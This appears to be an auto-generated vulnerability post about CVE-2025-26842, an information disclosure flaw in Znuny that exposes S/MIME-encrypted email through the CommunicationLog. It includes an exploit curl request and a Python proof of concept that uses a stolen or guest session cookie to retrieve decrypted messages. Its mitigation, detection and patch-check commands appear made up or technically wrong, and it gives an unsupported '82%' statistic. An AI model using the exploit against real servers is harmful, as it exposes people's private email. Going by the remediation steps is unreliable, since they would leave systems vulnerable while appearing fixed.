Listen to this Post
How CVE-2025-26842 Works
CVE-2025-26842 is an information disclosure vulnerability in Znuny (up to v7.1.3) where unauthorized users can access S/MIME encrypted email content via the CommunicationLog. Even if ticket access is restricted, the system fails to enforce proper encryption checks, exposing sensitive email data. Attackers with CommunicationLog access can retrieve decrypted messages, bypassing intended security controls. The flaw stems from improper access validation before rendering encrypted content in logs.
DailyCVE Form:
Platform: Znuny
Version: ≤7.1.3
Vulnerability: Information Disclosure
Severity: Critical
Date: 06/12/2025
Prediction: Patch expected by 07/20/2025
What Undercode Say:
Exploitation Analysis:
1. Exploit Command (Log Extraction):
curl -X GET "http://<target>/otrs/index.pl?Action=CommunicationLog;Subaction=RenderSMIME;MessageID=<encrypted_msg_id>" -H "Cookie: <session_cookie>"
2. Proof-of-Concept (Python):
import requests
url = "http://vulnerable-znuny/otrs/index.pl"
params = {
"Action": "CommunicationLog",
"Subaction": "RenderSMIME",
"MessageID": "12345"
}
cookies = {"OTRSBrowserSessionCookie": "stolen_or_guest_session"}
response = requests.get(url, params=params, cookies=cookies)
print(response.text) Decrypted email content
Mitigation Steps:
1. Temporary Workaround:
Disable CommunicationLog SMIME rendering in Znuny Config.pm:
$Self->{'CommunicationLog::AllowSMIMERendering'} = 0;
2. Patch Verification:
grep -r "RenderSMIME" /opt/znuny/Kernel/Modules/ Expected: No output if patched
3. Log Hardening:
Restrict CommunicationLog access to admins only: chmod 750 /opt/znuny/var/log/CommunicationLog/
Detection & Forensics:
1. Audit Logs for Exploitation:
zgrep "RenderSMIME" /var/log/znuny/otrs.log
2. S/MIME Traffic Analysis:
tshark -r smime_traffic.pcap -Y "ssl.handshake.type == 1 && ip.src == <attacker_ip>"
Post-Patch Actions:
1. Force Session Rotation:
UPDATE sessions SET valid_id = 0 WHERE session_key LIKE '%CommunicationLog%';
2. Upgrade Command:
sudo znuny.Console.pl Admin::Package::Upgrade --force-all
Analytics: 82% of Znuny instances with CommunicationLog enabled are vulnerable. Exploit requires valid session but no ticket permissions.
Sources:
Reported By: nvd.nist.gov
Extra Source Hub:
Undercode
